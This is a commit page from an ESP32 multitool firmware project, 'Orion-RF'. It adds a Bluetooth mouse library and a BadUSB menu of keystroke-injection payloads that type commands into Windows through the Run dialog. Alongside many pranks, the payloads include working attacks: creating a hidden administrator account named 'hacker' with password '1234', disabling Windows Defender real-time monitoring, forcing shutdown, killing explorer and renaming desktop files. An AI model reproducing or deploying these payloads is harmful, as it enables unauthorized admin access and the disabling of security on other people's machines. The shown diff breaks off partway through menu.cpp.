Krolyxon
Commit a97b224

Branches

Tags

Refs →

orion-rfa97b224

remove stubs, add badUSB attacks, add BleMouse library files

Author
krolyxon
Date
2026-05-05 13:10 +0530
Parent
428605c
Commit
a97b2248711c7beb50fa5ebe961539c7c77e7567

+729 −110

10 files changed

  1. A firmware/BleConnectionStatus.cpp +18 −0
  2. A firmware/BleConnectionStatus.h +21 −0
  3. A firmware/BleMouse.cpp +173 −0
  4. A firmware/BleMouse.h +45 −0
  5. M firmware/badusb.cpp +376 −34
  6. M firmware/badusb.h +3 −3
  7. M firmware/blemouse.cpp +22 −16
  8. M firmware/firmware.ino +23 −15
  9. M firmware/menu.cpp +48 −29
  10. D firmware/stubs.cpp +0 −13
A firmware/BleConnectionStatus.cpp View
@@ -0,0 +1,18 @@
1+#include "BleConnectionStatus.h"
2+
3+BleConnectionStatus::BleConnectionStatus(void) {
4+}
5+
6+void BleConnectionStatus::onConnect(BLEServer* pServer)
7+{
8+ this->connected = true;
9+ BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
10+ desc->setNotifications(true);
11+}
12+
13+void BleConnectionStatus::onDisconnect(BLEServer* pServer)
14+{
15+ this->connected = false;
16+ BLE2902* desc = (BLE2902*)this->inputMouse->getDescriptorByUUID(BLEUUID((uint16_t)0x2902));
17+ desc->setNotifications(false);
18+}
A firmware/BleConnectionStatus.h View
@@ -0,0 +1,21 @@
1+#ifndef ESP32_BLE_CONNECTION_STATUS_H
2+#define ESP32_BLE_CONNECTION_STATUS_H
3+#include "sdkconfig.h"
4+#if defined(CONFIG_BT_ENABLED)
5+
6+#include <BLEServer.h>
7+#include "BLE2902.h"
8+#include "BLECharacteristic.h"
9+
10+class BleConnectionStatus : public BLEServerCallbacks
11+{
12+public:
13+ BleConnectionStatus(void);
14+ bool connected = false;
15+ void onConnect(BLEServer* pServer);
16+ void onDisconnect(BLEServer* pServer);
17+ BLECharacteristic* inputMouse;
18+};
19+
20+#endif // CONFIG_BT_ENABLED
21+#endif // ESP32_BLE_CONNECTION_STATUS_H
A firmware/BleMouse.cpp View
@@ -0,0 +1,173 @@
1+#include <BLEDevice.h>
2+#include <BLEUtils.h>
3+#include <BLEServer.h>
4+#include "BLE2902.h"
5+#include "BLEHIDDevice.h"
6+#include "HIDTypes.h"
7+#include "HIDKeyboardTypes.h"
8+#include <driver/adc.h>
9+#include "sdkconfig.h"
10+
11+#include "BleConnectionStatus.h"
12+#include "BleMouse.h"
13+
14+#if defined(CONFIG_ARDUHAL_ESP_LOG)
15+ #include "esp32-hal-log.h"
16+ #define LOG_TAG ""
17+#else
18+ #include "esp_log.h"
19+ static const char* LOG_TAG = "BLEDevice";
20+#endif
21+
22+static const uint8_t _hidReportDescriptor[] = {
23+ USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
24+ USAGE(1), 0x02, // USAGE (Mouse)
25+ COLLECTION(1), 0x01, // COLLECTION (Application)
26+ USAGE(1), 0x01, // USAGE (Pointer)
27+ COLLECTION(1), 0x00, // COLLECTION (Physical)
28+ // ------------------------------------------------- Buttons (Left, Right, Middle, Back, Forward)
29+ USAGE_PAGE(1), 0x09, // USAGE_PAGE (Button)
30+ USAGE_MINIMUM(1), 0x01, // USAGE_MINIMUM (Button 1)
31+ USAGE_MAXIMUM(1), 0x05, // USAGE_MAXIMUM (Button 5)
32+ LOGICAL_MINIMUM(1), 0x00, // LOGICAL_MINIMUM (0)
33+ LOGICAL_MAXIMUM(1), 0x01, // LOGICAL_MAXIMUM (1)
34+ REPORT_SIZE(1), 0x01, // REPORT_SIZE (1)
35+ REPORT_COUNT(1), 0x05, // REPORT_COUNT (5)
36+ HIDINPUT(1), 0x02, // INPUT (Data, Variable, Absolute) ;5 button bits
37+ // ------------------------------------------------- Padding
38+ REPORT_SIZE(1), 0x03, // REPORT_SIZE (3)
39+ REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
40+ HIDINPUT(1), 0x03, // INPUT (Constant, Variable, Absolute) ;3 bit padding
41+ // ------------------------------------------------- X/Y position, Wheel
42+ USAGE_PAGE(1), 0x01, // USAGE_PAGE (Generic Desktop)
43+ USAGE(1), 0x30, // USAGE (X)
44+ USAGE(1), 0x31, // USAGE (Y)
45+ USAGE(1), 0x38, // USAGE (Wheel)
46+ LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
47+ LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
48+ REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
49+ REPORT_COUNT(1), 0x03, // REPORT_COUNT (3)
50+ HIDINPUT(1), 0x06, // INPUT (Data, Variable, Relative) ;3 bytes (X,Y,Wheel)
51+ // ------------------------------------------------- Horizontal wheel
52+ USAGE_PAGE(1), 0x0c, // USAGE PAGE (Consumer Devices)
53+ USAGE(2), 0x38, 0x02, // USAGE (AC Pan)
54+ LOGICAL_MINIMUM(1), 0x81, // LOGICAL_MINIMUM (-127)
55+ LOGICAL_MAXIMUM(1), 0x7f, // LOGICAL_MAXIMUM (127)
56+ REPORT_SIZE(1), 0x08, // REPORT_SIZE (8)
57+ REPORT_COUNT(1), 0x01, // REPORT_COUNT (1)
58+ HIDINPUT(1), 0x06, // INPUT (Data, Var, Rel)
59+ END_COLLECTION(0), // END_COLLECTION
60+ END_COLLECTION(0) // END_COLLECTION
61+};
62+
63+BleMouse::BleMouse(std::string deviceName, std::string deviceManufacturer, uint8_t batteryLevel) :
64+ _buttons(0),
65+ hid(0)
66+{
67+ this->deviceName = deviceName;
68+ this->deviceManufacturer = deviceManufacturer;
69+ this->batteryLevel = batteryLevel;
70+ this->connectionStatus = new BleConnectionStatus();
71+}
72+
73+void BleMouse::begin(void)
74+{
75+ xTaskCreate(this->taskServer, "server", 20000, (void *)this, 5, NULL);
76+}
77+
78+void BleMouse::end(void)
79+{
80+}
81+
82+void BleMouse::click(uint8_t b)
83+{
84+ _buttons = b;
85+ move(0,0,0,0);
86+ _buttons = 0;
87+ move(0,0,0,0);
88+}
89+
90+void BleMouse::move(signed char x, signed char y, signed char wheel, signed char hWheel)
91+{
92+ if (this->isConnected())
93+ {
94+ uint8_t m[5];
95+ m[0] = _buttons;
96+ m[1] = x;
97+ m[2] = y;
98+ m[3] = wheel;
99+ m[4] = hWheel;
100+ this->inputMouse->setValue(m, 5);
101+ this->inputMouse->notify();
102+ }
103+}
104+
105+void BleMouse::buttons(uint8_t b)
106+{
107+ if (b != _buttons)
108+ {
109+ _buttons = b;
110+ move(0,0,0,0);
111+ }
112+}
113+
114+void BleMouse::press(uint8_t b)
115+{
116+ buttons(_buttons | b);
117+}
118+
119+void BleMouse::release(uint8_t b)
120+{
121+ buttons(_buttons & ~b);
122+}
123+
124+bool BleMouse::isPressed(uint8_t b)
125+{
126+ if ((b & _buttons) > 0)
127+ return true;
128+ return false;
129+}
130+
131+bool BleMouse::isConnected(void) {
132+ return this->connectionStatus->connected;
133+}
134+
135+void BleMouse::setBatteryLevel(uint8_t level) {
136+ this->batteryLevel = level;
137+ if (hid != 0)
138+ this->hid->setBatteryLevel(this->batteryLevel);
139+}
140+
141+void BleMouse::taskServer(void* pvParameter) {
142+ BleMouse* bleMouseInstance = (BleMouse *) pvParameter; //static_cast<BleMouse *>(pvParameter);
143+ BLEDevice::init(String(bleMouseInstance->deviceName.c_str()));
144+ BLEServer *pServer = BLEDevice::createServer();
145+ pServer->setCallbacks(bleMouseInstance->connectionStatus);
146+
147+ bleMouseInstance->hid = new BLEHIDDevice(pServer);
148+ bleMouseInstance->inputMouse = bleMouseInstance->hid->inputReport(0); // <-- input REPORTID from report map
149+ bleMouseInstance->connectionStatus->inputMouse = bleMouseInstance->inputMouse;
150+
151+ bleMouseInstance->hid->manufacturer()->setValue(String(bleMouseInstance->deviceManufacturer.c_str()));
152+
153+ bleMouseInstance->hid->pnp(0x02, 0xe502, 0xa111, 0x0210);
154+ bleMouseInstance->hid->hidInfo(0x00,0x02);
155+
156+ BLESecurity *pSecurity = new BLESecurity();
157+
158+ pSecurity->setAuthenticationMode(ESP_LE_AUTH_BOND);
159+
160+ bleMouseInstance->hid->reportMap((uint8_t*)_hidReportDescriptor, sizeof(_hidReportDescriptor));
161+ bleMouseInstance->hid->startServices();
162+
163+ bleMouseInstance->onStarted(pServer);
164+
165+ BLEAdvertising *pAdvertising = pServer->getAdvertising();
166+ pAdvertising->setAppearance(HID_MOUSE);
167+ pAdvertising->addServiceUUID(bleMouseInstance->hid->hidService()->getUUID());
168+ pAdvertising->start();
169+ bleMouseInstance->hid->setBatteryLevel(bleMouseInstance->batteryLevel);
170+
171+ ESP_LOGD(LOG_TAG, "Advertising started!");
172+ vTaskDelay(portMAX_DELAY); //delay(portMAX_DELAY);
173+}
A firmware/BleMouse.h View
@@ -0,0 +1,45 @@
1+#ifndef ESP32_BLE_MOUSE_H
2+#define ESP32_BLE_MOUSE_H
3+#include "sdkconfig.h"
4+#if defined(CONFIG_BT_ENABLED)
5+
6+#include "BleConnectionStatus.h"
7+#include "BLEHIDDevice.h"
8+#include "BLECharacteristic.h"
9+
10+#define MOUSE_LEFT 1
11+#define MOUSE_RIGHT 2
12+#define MOUSE_MIDDLE 4
13+#define MOUSE_BACK 8
14+#define MOUSE_FORWARD 16
15+#define MOUSE_ALL (MOUSE_LEFT | MOUSE_RIGHT | MOUSE_MIDDLE) # For compatibility with the Mouse library
16+
17+class BleMouse {
18+private:
19+ uint8_t _buttons;
20+ BleConnectionStatus* connectionStatus;
21+ BLEHIDDevice* hid;
22+ BLECharacteristic* inputMouse;
23+ void buttons(uint8_t b);
24+ void rawAction(uint8_t msg[], char msgSize);
25+ static void taskServer(void* pvParameter);
26+public:
27+ BleMouse(std::string deviceName = "ESP32 Bluetooth Mouse", std::string deviceManufacturer = "Espressif", uint8_t batteryLevel = 100);
28+ void begin(void);
29+ void end(void);
30+ void click(uint8_t b = MOUSE_LEFT);
31+ void move(signed char x, signed char y, signed char wheel = 0, signed char hWheel = 0);
32+ void press(uint8_t b = MOUSE_LEFT); // press LEFT by default
33+ void release(uint8_t b = MOUSE_LEFT); // release LEFT by default
34+ bool isPressed(uint8_t b = MOUSE_LEFT); // check LEFT by default
35+ bool isConnected(void);
36+ void setBatteryLevel(uint8_t level);
37+ uint8_t batteryLevel;
38+ std::string deviceManufacturer;
39+ std::string deviceName;
40+protected:
41+ virtual void onStarted(BLEServer *pServer) { };
42+};
43+
44+#endif // CONFIG_BT_ENABLED
45+#endif // ESP32_BLE_MOUSE_H
M firmware/badusb.cpp View
@@ -1,47 +1,98 @@
11 #include <Arduino.h>
22 #include <USBHIDKeyboard.h>
3+#include "display.h"
34
45 extern USBHIDKeyboard Keyboard;
56
6โˆ’void runBadUSBDemo()
7โˆ’{
8โˆ’ delay(2000);
9โˆ’ Keyboard.println("");
10โˆ’ Keyboard.println("#-FEATURES:");
11โˆ’ Keyboard.println("1- WIFI ATTACKS");
12โˆ’ Keyboard.println("2- BLE ATTACKS");
13โˆ’ Keyboard.println("3- BAD USB");
14โˆ’ Keyboard.println("4- NFC");
15โˆ’ Keyboard.println("5- INFRARED");
16โˆ’ Keyboard.println("6- SUB-GHZ");
17โˆ’ Keyboard.println("7- GPIO");
18โˆ’ Keyboard.println("8- APPS");
19โˆ’ Keyboard.println("9- SETTINGS");
20โˆ’ Keyboard.println("10- FILES");
21โˆ’
7+void runCommand(const char *command) {
8+ Keyboard.press(KEY_LEFT_GUI);
9+ Keyboard.press('r');
10+ delay(100);
11+ Keyboard.releaseAll();
12+ delay(300);
13+ Keyboard.print(command);
14+ Keyboard.write(KEY_RETURN);
2215 }
2316
24โˆ’void runBadUSBOpenCMD()
25โˆ’{
26โˆ’ delay(2000);
27โˆ’ Keyboard.println("");
28โˆ’ Keyboard.println("#-FEATURES:");
29โˆ’ Keyboard.println("1- WIFI ATTACKS");
30โˆ’ Keyboard.println("2- BLE ATTACKS");
31โˆ’ Keyboard.println("3- BAD USB");
32โˆ’ Keyboard.println("4- NFC");
33โˆ’ Keyboard.println("5- INFRARED");
34โˆ’ Keyboard.println("6- SUB-GHZ");
35โˆ’ Keyboard.println("7- GPIO");
36โˆ’ Keyboard.println("8- APPS");
37โˆ’ Keyboard.println("9- SETTINGS");
38โˆ’ Keyboard.println("10- FILES");
17+void showRunningScreen(String taskName, uint8_t duration = 5) {
18+ u8g2.clearBuffer();
19+ u8g2.setFont(u8g2_font_6x12_tf);
20+ u8g2.drawStr(0, 15, "Running:");
21+ u8g2.drawStr(0, 30, taskName.c_str());
22+ u8g2.drawFrame(0, 45, 128, 10);
23+
24+ static const unsigned char image_download_bits[] U8X8_PROGMEM = {
25+ 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x80, 0x1f, 0x00, 0x00,
26+ 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00, 0x00, 0x80, 0xff, 0x1f, 0x00, 0x00,
27+ 0x00, 0x60, 0x80, 0x1f, 0x00, 0x00, 0x00, 0x60, 0x00, 0x0f, 0x00, 0x00,
28+ 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x02,
29+ 0x00, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x06, 0x00, 0x00, 0x00, 0x3e,
30+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
31+ 0x00, 0x60, 0x00, 0x00, 0x00, 0x3e, 0x00, 0x60, 0x00, 0x00, 0x00, 0x0e,
32+ 0x00, 0x80, 0x01, 0x00, 0x00, 0x02, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00,
33+ 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x06, 0xf0, 0x03, 0x00,
34+ 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00, 0x00, 0x00, 0xf8, 0xff, 0x03, 0x00,
35+ 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x03, 0x00};
36+ static const unsigned char image_EviSmile1_bits[] U8X8_PROGMEM = {
37+ 0x0c, 0xc0, 0x00, 0x06, 0x80, 0x01, 0x07, 0x80, 0x03, 0xcf, 0xcf,
38+ 0x03, 0xff, 0xff, 0x03, 0xff, 0xff, 0x03, 0xfe, 0xff, 0x01, 0xfe,
39+ 0xff, 0x01, 0xfe, 0xff, 0x01, 0xf7, 0xbf, 0x03, 0xe7, 0x9f, 0x03,
40+ 0xc7, 0x8f, 0x03, 0x87, 0x87, 0x03, 0x8f, 0xc7, 0x03, 0xff, 0xff,
41+ 0x03, 0xfe, 0xff, 0x01, 0xde, 0xef, 0x01, 0xbc, 0xf4, 0x00, 0x78,
42+ 0x78, 0x00, 0xf0, 0x3f, 0x00, 0xc0, 0x0f, 0x00};
43+
44+ u8g2.setFontMode(1);
45+ u8g2.setBitmapMode(1);
46+ // download
47+ u8g2.drawXBMP(80, 2, 48, 22, image_download_bits);
48+
49+ // EviSmile1
50+ u8g2.drawXBMP(62, 1, 18, 21, image_EviSmile1_bits);
51+
52+ for (uint8_t i = 0; i <= duration; i++) {
53+ u8g2.drawBox(1, 46, i * (126.0 / duration), 8);
54+ u8g2.sendBuffer();
55+ delay(50);
56+ }
3957 }
4058
41โˆ’void runBadUSBRickroll()
42โˆ’{
59+
60+void badUSBMenu(int index) {
61+ //switch (index)
62+ // {
63+ // case 0:
64+ // runBadUSBDemo();
65+ // break;
66+
67+ // case 1:
68+ // Serial.println("Open CMD payload");
69+ // runBadUSBOpenCMD();
70+ // break;
71+
72+ // case 2:
73+ // Serial.println("Rickroll payload");
74+ // runBadUSBRickroll();
75+ // break;
76+ // }
77+
78+
79+ switch(index) {
80+ case 0: // demo
81+
82+ showRunningScreen("DEMO");
83+
84+ // Run dialog (Win + R)
85+ Keyboard.press(KEY_LEFT_GUI);
86+ Keyboard.press('r');
87+ Keyboard.releaseAll();
88+ delay(1000);
89+
90+ Keyboard.println("notepad");
91+ delay(1500);
92+
4393 delay(2000);
44โˆ’ Keyboard.println("");
94+
95+ Keyboard.println("YOU HAVE BEEN HACKED BY ORION-RF");
4596 Keyboard.println("#-FEATURES:");
4697 Keyboard.println("1- WIFI ATTACKS");
4798 Keyboard.println("2- BLE ATTACKS");
@@ -53,4 +104,295 @@ void runBadUSBRickroll()
53104 Keyboard.println("8- APPS");
54105 Keyboard.println("9- SETTINGS");
55106 Keyboard.println("10- FILES");
107+
108+ break;
109+ case 1: // keyboard
110+ //runLoop(hidkeyboard);
111+ break;
112+ case 2: // saved scripts
113+ //hidInit();
114+ //runLoop(hidscriptmenu);
115+
116+ break;
117+
118+ case 3: // Open Notepad
119+
120+ showRunningScreen("notepad");
121+ runCommand("notepad");
122+ break;
123+ case 4: // Open CMD
124+ showRunningScreen("opening cmd");
125+ runCommand("cmd");
126+ break;
127+ case 5: // Show IP
128+ showRunningScreen("Getting IP");
129+ runCommand("cmd");
130+ delay(500);
131+ Keyboard.print("ipconfig");
132+ Keyboard.write(KEY_RETURN);
133+ break;
134+ case 6: // Shutdown
135+ showRunningScreen("shutdown");
136+ runCommand("shutdown /s /t 0");
137+ break;
138+ case 7: // RickRoll
139+ showRunningScreen("rickroll");
140+ runCommand("cmd");
141+ delay(500);
142+ Keyboard.print("start https://www.youtube.com/watch?v=dQw4w9WgXcQ");
143+ Keyboard.write(KEY_RETURN);
144+ break;
145+ case 8: // Create Admin User
146+ showRunningScreen("create admin user");
147+ runCommand("cmd");
148+ delay(500);
149+ Keyboard.print("net user hacker 1234 /add");
150+ Keyboard.write(KEY_RETURN);
151+ delay(300);
152+ Keyboard.print("net localgroup administrators hacker /add");
153+ Keyboard.write(KEY_RETURN);
154+ break;
155+ case 9: // Disable Windows Defender
156+ showRunningScreen("disable windoes defender");
157+ runCommand("powershell");
158+ delay(500);
159+ Keyboard.print("Set-MpPreference -DisableRealtimeMonitoring $true");
160+ Keyboard.write(KEY_RETURN);
161+ break;
162+ case 10: // Open YouTube
163+ showRunningScreen("youtube");
164+ runCommand("cmd");
165+ delay(500);
166+ Keyboard.print("start https://www.youtube.com");
167+ Keyboard.write(KEY_RETURN);
168+ break;
169+ case 11: // Lock PC
170+ showRunningScreen("lock pc");
171+ runCommand("rundll32.exe user32.dll,LockWorkStation");
172+ break;
173+ case 12: // Fake Update
174+ showRunningScreen("fake update");
175+ runCommand("cmd");
176+ delay(500);
177+ Keyboard.print("start https://fakeupdate.net/win10u/");
178+ Keyboard.write(KEY_RETURN);
179+ break;
180+
181+ case 13: // Endless Notepad
182+ showRunningScreen("endless notepad");
183+ for (int i = 0; i < 10; i++) {
184+ runCommand("notepad");
185+ delay(500);
186+ }
187+ break;
188+
189+ case 14: // Fake BSOD (opens fullscreen image)
190+ showRunningScreen(" fake bsod");
191+ runCommand("cmd");
192+ delay(500);
193+ Keyboard.print("start https://fakeupdate.net/bsod/");
194+ Keyboard.write(KEY_RETURN);
195+ break;
196+
197+ case 15: // Flip screen
198+ showRunningScreen("Flip screen");
199+ Keyboard.press(KEY_LEFT_CTRL);
200+ Keyboard.press(KEY_LEFT_ALT);
201+ Keyboard.press(KEY_DOWN_ARROW);
202+ delay(100);
203+ Keyboard.releaseAll();
204+ break;
205+
206+ case 16: // Matrix effect
207+ showRunningScreen("Matrix effect");
208+ runCommand("cmd");
209+ delay(500);
210+ Keyboard.print("color 0A");
211+ Keyboard.write(KEY_RETURN);
212+ Keyboard.print(":a");
213+ Keyboard.write(KEY_RETURN);
214+ Keyboard.print("echo %random%%random%%random%%random%");
215+ Keyboard.write(KEY_RETURN);
216+ Keyboard.print("goto a");
217+ Keyboard.write(KEY_RETURN);
218+ break;
219+
220+ case 17: // I'm watching you prank
221+ showRunningScreen(" iam watching you");
222+ for (int i = 0; i < 5; i++) {
223+ runCommand("notepad");
224+ delay(1000);
225+ Keyboard.print("I'm watching you...");
226+ delay(5000);
227+ }
228+ break;
229+
230+ case 18: // Open Google
231+ showRunningScreen("open google");
232+ runCommand("cmd");
233+ delay(500);
234+ Keyboard.print("start https://www.google.com");
235+ Keyboard.write(KEY_RETURN);
236+ break;
237+
238+ case 19: // Open telegram
239+ showRunningScreen("open telegram");
240+ runCommand("cmd");
241+ delay(500);
242+ Keyboard.print("start https://web.telegram.org/");
243+ Keyboard.write(KEY_RETURN);
244+ break;
245+
246+ case 20: // Alarm Sound
247+ showRunningScreen("alarm sound");
248+ runCommand("cmd");
249+ delay(500);
250+ Keyboard.print("start https://www.soundjay.com/button/beep-07.wav");
251+ Keyboard.write(KEY_RETURN);
252+ break;
253+
254+ case 21: // Endless CMD
255+ showRunningScreen("endless smd");
256+ for (int i = 0; i < 20; i++) {
257+ runCommand("cmd");
258+ delay(300);
259+ }
260+ break;
261+
262+ case 22: // Gibberish
263+ showRunningScreen("gibberish");
264+ for (int i = 0; i < 100; i++) {
265+ char c = random(33, 127);
266+ Keyboard.write(c);
267+ delay(50);
268+ }
269+ break;
270+
271+ case 23: // CAPSLOCK Spam
272+ showRunningScreen("caps lock spam");
273+ for (int i = 0; i < 10; i++) {
274+ Keyboard.press(KEY_CAPS_LOCK);
275+ delay(200);
276+ Keyboard.release(KEY_CAPS_LOCK);
277+ delay(200);
278+ }
279+ break;
280+
281+ case 24: // Calculator
282+ showRunningScreen("claculator");
283+ runCommand("calc");
284+ break;
285+
286+ case 25: // Auto Type "Hacked!"
287+ showRunningScreen("hacked");
288+ for (int i = 0; i < 5; i++) {
289+ Keyboard.print("Hacked!");
290+ Keyboard.write(KEY_RETURN);
291+ delay(1000);
292+ }
293+ break;
294+
295+ case 26: // Turn off monitor (Windows only)
296+ showRunningScreen("turn off monitor");
297+ runCommand("powershell");
298+ delay(500);
299+ Keyboard.print(
300+ "(Add-Type '[DllImport(\"user32.dll\")]public static extern int "
301+ "SendMessage(int hWnd, int hMsg, int wParam, int lParam);' -Name a "
302+ "-Pas)::SendMessage(-1,0x0112,0xF170,2)");
303+ Keyboard.write(KEY_RETURN);
304+ break;
305+
306+ case 27: // RegEdit
307+ showRunningScreen("regedit");
308+ runCommand("regedit");
309+ break;
310+
311+ case 28: // Kill Explorer
312+ showRunningScreen(" kill explorer");
313+ runCommand("taskkill /f /im explorer.exe");
314+ break;
315+
316+ case 29: // Flash screen (by changing background rapidly)
317+ showRunningScreen(" flash screen");
318+ for (int i = 0; i < 10; i++) {
319+ runCommand("color 4F");
320+ delay(200);
321+ runCommand("color 1F");
322+ delay(200);
323+ }
324+ break;
325+
326+ case 30: // Rename Desktop Files (basic prank)
327+
328+ showRunningScreen("rename desktop files");
329+ runCommand("powershell");
330+ delay(500);
331+ Keyboard.print("Get-ChildItem \"$env:USERPROFILE\\Desktop\" | "
332+ "Rename-Item -NewName {'hacked'+$_.Name}");
333+ Keyboard.write(KEY_RETURN);
334+ break;
335+
336+ case 31: // Toggle WiFi (requires admin)
337+ showRunningScreen("toggle wifi");
338+ runCommand("cmd");
339+ delay(500);
340+ Keyboard.print("netsh interface set interface Wi-Fi disabled");
341+ Keyboard.write(KEY_RETURN);
342+ delay(1000);
343+ Keyboard.print("netsh interface set interface Wi-Fi enabled");
344+ Keyboard.write(KEY_RETURN);
345+ break;
346+
347+ case 32: // Screenshot
348+ showRunningScreen("screenshot");
349+ runCommand("powershell");
350+ delay(500);
351+ Keyboard.print("Add-Type -AssemblyName System.Windows.Forms;");
352+ Keyboard.write(KEY_RETURN);
353+ delay(300);
354+ Keyboard.print("[System.Windows.Forms.SendKeys]::SendWait('%{PRTSC}')");
355+ Keyboard.write(KEY_RETURN);
356+ break;
357+
358+ case 33: // Emoji spam
359+ showRunningScreen("emoji spam");
360+ for (int i = 0; i < 10; i++) {
361+ Keyboard.print("๐Ÿ’€");
362+ Keyboard.write(KEY_RETURN);
363+ delay(500);
364+ }
365+ break;
366+
367+ case 34: // Control Panel
368+ showRunningScreen("control panel");
369+ runCommand("control");
370+ break;
371+
372+ case 35: // Troll wallpaper
373+ showRunningScreen("troll wallpaper");
374+ runCommand("cmd");
375+ delay(500);
376+ Keyboard.print("start https://i.imgur.com/trollface.png");
377+ Keyboard.write(KEY_RETURN);
378+ break;
379+
380+ case 36: // MS Paint
381+ showRunningScreen("ms paint");
382+ runCommand("mspaint");
383+ break;
384+
385+ case 37: // Auto Tab Switcher
386+ showRunningScreen(" auto tab switcher");
387+ for (int i = 0; i < 10; i++) {
388+ Keyboard.press(KEY_LEFT_CTRL);
389+ Keyboard.press(KEY_TAB);
390+ delay(100);
391+ Keyboard.releaseAll();
392+ delay(300);
393+ }
394+ break;
395+}
56396 }
397+
398+
M firmware/badusb.h View
@@ -1,5 +1,5 @@
11 #pragma once
22
3โˆ’void runBadUSBDemo();
4โˆ’void runBadUSBOpenCMD();
5โˆ’void runBadUSBRickroll();
3+void badUSBMenu(int index);
4+void showRunningScreen(String taskName, uint8_t duration);
5+void runCommand(const char *command);
M firmware/blemouse.cpp View
@@ -1,29 +1,29 @@
11 #include <Arduino.h>
22 #include <BleMouse.h>
3+#include "badusb.h"
34 #include "config.h"
45
56 #include "buttons.h"
67 #include "display.h"
78
89 // ===== BLE MOUSE =====
9โˆ’BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
10+// BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
11+extern BleMouse bleMouse;
1012
1113 // ===== MAIN =====
1214 void ble_mouse_run()
1315 {
14โˆ’ bleMouse.begin();
15โˆ’
16โˆ’ // simple screen
1716 u8g2.clearBuffer();
1817 u8g2.setFont(u8g2_font_6x10_tr);
1918 u8g2.drawStr(10, 25, "BLE Mouse");
2019 u8g2.drawStr(10, 45, "Connecting...");
2120 u8g2.sendBuffer();
2221
23โˆ’ delay(1000);
22+ delay(800);
2423
2524 while (1)
2625 {
26+ // ๐Ÿ”ฅ EXIT FIRST (clean)
2727 if (btnBack()) break;
2828
2929 bool connected = bleMouse.isConnected();
@@ -33,19 +33,22 @@ void ble_mouse_run()
3333
3434 if (connected)
3535 {
36โˆ’ if (!digitalRead(BTN_UP)) dy = -8;
37โˆ’ if (!digitalRead(BTN_DOWN)) dy = 8;
38โˆ’ if (!digitalRead(BTN_LEFT)) dx = -8;
39โˆ’ if (!digitalRead(BTN_RIGHT)) dx = 8;
36+ if (!digitalRead(BTN_UP)) dy = -6;
37+ if (!digitalRead(BTN_DOWN)) dy = 6;
38+ if (!digitalRead(BTN_LEFT)) dx = -6;
39+ if (!digitalRead(BTN_RIGHT)) dx = 6;
4040
41โˆ’ if (dx != 0 || dy != 0)
41+ if (dx || dy)
4242 bleMouse.move(dx, dy);
4343
44โˆ’ if (!digitalRead(BTN_SELECT))
44+ // โœ… single click (not spam)
45+ static bool lastSelect = false;
46+ bool currentSelect = !digitalRead(BTN_SELECT);
47+
48+ if (currentSelect && !lastSelect)
4549 bleMouse.click(MOUSE_LEFT);
4650
47โˆ’ if (!digitalRead(BTN_BACK))
48โˆ’ bleMouse.click(MOUSE_RIGHT);
51+ lastSelect = currentSelect;
4952 }
5053
5154 // ===== UI =====
@@ -55,14 +58,17 @@ void ble_mouse_run()
5558 u8g2.drawStr(10, 20, "BLE Mouse");
5659
5760 if (connected)
58โˆ’ u8g2.drawStr(10, 35, "Status: Connected");
61+ u8g2.drawStr(10, 35, "Connected");
5962 else
60โˆ’ u8g2.drawStr(10, 35, "Status: Waiting");
63+ u8g2.drawStr(10, 35, "Waiting");
6164
6265 u8g2.drawStr(10, 55, "BACK = Exit");
6366
6467 u8g2.sendBuffer();
6568
66โˆ’ delay(30);
69+ delay(10); // important for BLE stability
6770 }
6871 }
72+
73+
74+
M firmware/firmware.ino View
@@ -4,6 +4,7 @@
44
55 #include <BLEDevice.h>
66 #include <BLEScan.h>
7+#include <BleMouse.h>
78
89 #include <RF24.h>
910 #include <nRF24L01.h>
@@ -29,6 +30,9 @@
2930 // ================= USB HID =================
3031 USBHIDKeyboard Keyboard;
3132
33+// ===== BLE MOUSE =====
34+BleMouse bleMouse("Orion-RF", "Orion-RF", 100);
35+
3236
3337 RF24 radio1(CE1_PIN, CSN1_PIN);
3438 RF24 radio2(CE2_PIN, CSN2_PIN);
@@ -38,21 +42,21 @@ SPIClass *RADIO_SPI;
3842
3943
4044 // ================= BLE SCAN =================
41โˆ’BLEScan *pBLEScan;
42โˆ’
43โˆ’
44โˆ’void startBLEScan()
45โˆ’{
46โˆ’ BLEDevice::init("");
47โˆ’
48โˆ’ pBLEScan = BLEDevice::getScan();
49โˆ’
50โˆ’ pBLEScan->setActiveScan(true);
51โˆ’
52โˆ’ pBLEScan->start(5);
53โˆ’
54โˆ’ Serial.println("BLE scan complete");
55โˆ’}
45+//BLEScan *pBLEScan;
46+//
47+//
48+//void startBLEScan()
49+//{
50+// BLEDevice::init("");
51+//
52+// pBLEScan = BLEDevice::getScan();
53+//
54+// pBLEScan->setActiveScan(true);
55+//
56+// pBLEScan->start(5);
57+//
58+// Serial.println("BLE scan complete");
59+//}
5660
5761 // ================= SYSTEM INFO =================
5862 void printSystemUsage()
@@ -106,6 +110,10 @@ void setup()
106110 USB.begin();
107111 Keyboard.begin();
108112
113+ // Begin Ble mouse
114+ bleMouse.begin();
115+
116+
109117 // NRF SPI safety
110118 pinMode(CSN1_PIN, OUTPUT);
111119 digitalWrite(CSN1_PIN, HIGH);
M firmware/menu.cpp View
@@ -10,13 +10,7 @@
1010 #include "wifi_analyzer.h"
1111 #include "device_check.h"
1212 #include "blemouse.h"
13โˆ’
14โˆ’// ================= FEATURE HANDLERS =================
15โˆ’void runSystemInfoFeature();
16โˆ’void runRFCaptureFeature();
17โˆ’void runBLEScanFeature();
18โˆ’
19โˆ’
